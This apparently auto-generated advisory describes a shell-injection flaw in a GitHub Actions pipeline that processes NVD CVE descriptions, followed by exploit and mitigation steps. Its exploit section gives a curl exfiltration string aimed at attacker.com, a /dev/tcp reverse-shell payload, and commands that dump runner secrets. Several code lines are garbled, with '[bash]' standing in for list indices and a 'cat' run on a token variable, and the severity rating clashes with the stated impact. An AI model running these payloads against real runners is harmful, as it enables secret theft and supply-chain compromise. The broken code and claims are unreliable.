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The CVE-2026-27963 vulnerability allows an unauthenticated attacker to inject arbitrary commands into the daily-experiments pipeline via the NVD API response parsing logic. The repository Atharv279/daily-experiments uses a GitHub Actions workflow to fetch CVE data from the NIST NVD API every day. The fetched JSON is processed by a Python script that extracts CVE IDs, computes threat indices, and generates severity dashboards. Because the script directly interpolates the `description` field from the NVD response into a shell command without sanitization, a malicious CVE entry containing shell metacharacters can break out of the intended context. For example, a description such as `; curl http://attacker.com/$(cat /etc/passwd)` would be executed on the runner. The pipeline runs with the default `GITHUB_TOKEN` permissions, which in many repositories include write access to contents and packages. An attacker who can influence the NVD feed—either by publishing a crafted CVE or by performing a man-in-the-middle attack on the API request—can achieve remote code execution on the GitHub Actions runner. The runner has access to repository secrets, environment variables, and the source code. The vulnerability is classified as medium severity because it requires the attacker to control the upstream data source, but the impact is high due to the potential for secret exfiltration and supply chain compromise. The issue was discovered during a routine audit of the v2.0.0 release, which introduced the “Professional Architecture” with real CVE data and threat dashboards. The v1.0.0 release used a simpler pipeline that did not parse descriptions, so it is not affected. The maintainer has been notified and is working on a patch that will use `shlex.quote` and a subprocess call with a list of arguments.
DailyCVE Form:
Platform: GitHub
Version: v2.0.0
Vulnerability : NVD RCE
Severity: Medium
date: 2026-03-28
Prediction: 2026-04-15
What Undercode Say:
Fetch the latest CVE data from NVD
curl -s "https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-03-28T00:00:00.000&pubEndDate=2026-03-29T00:00:00.000" -o nvd.json
Extract CVE IDs and descriptions using jq
jq -r '.vulnerabilities[] | .cve.id + " " + .cve.descriptions[bash].value' nvd.json
Run the daily-experiments pipeline locally
python3 process_cves.py --input nvd.json --output dashboard.html
Example of the vulnerable code in process_cves.py
description = cve['descriptions'][bash]['value']
subprocess.run(f"echo {description} >> report.txt", shell=True)
Exploit: (Educational Purposes!)
Craft a malicious CVE description that injects a reverse shell
(In a real attack, this would be published to NVD or injected via MITM)
DESCRIPTION='; bash -i >& /dev/tcp/attacker.com/4444 0>&1'
Simulate the pipeline processing this description
echo "CVE-2026-9999: $DESCRIPTION" | python3 -c "
import sys, subprocess
line = sys.stdin.read()
cve_id, desc = line.split(': ', 1)
subprocess.run(f'echo {desc} >> /tmp/report.txt', shell=True)
"
On the runner, the attacker gains a shell and can exfiltrate secrets
cat $GITHUB_TOKEN
env | grep -i secret
Protection: from this CVE
In .github/workflows/daily.yml permissions: contents: read packages: read
Use subprocess with a list of arguments and shlex.quote
import shlex
import subprocess
description = cve['descriptions'][bash]['value']
subprocess.run(['echo', description], stdout=open('report.txt', 'a'))
Validate and sanitize NVD responses with a JSON schema
pip install jsonschema
python3 -c "
import json, jsonschema
schema = {'type': 'object', 'properties': {'vulnerabilities': {'type': 'array'}}}
data = json.load(open('nvd.json'))
jsonschema.validate(data, schema)
"
Impact:
The vulnerability allows an attacker to execute arbitrary commands on the GitHub Actions runner, leading to the exfiltration of repository secrets, the GITHUB_TOKEN, and any environment variables. The attacker can modify the generated dashboards to spread misinformation about CVE severity, or use the runner as a pivot point to attack other services. Because the pipeline runs daily, the attacker gains persistent access for as long as the malicious CVE remains in the NVD feed. The supply chain impact is significant: downstream users who rely on the dashboard for threat intelligence may be misled, and the repository itself could be used to distribute malware through compromised releases.
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Sources:
Reported By: github.com
Extra Source Hub:
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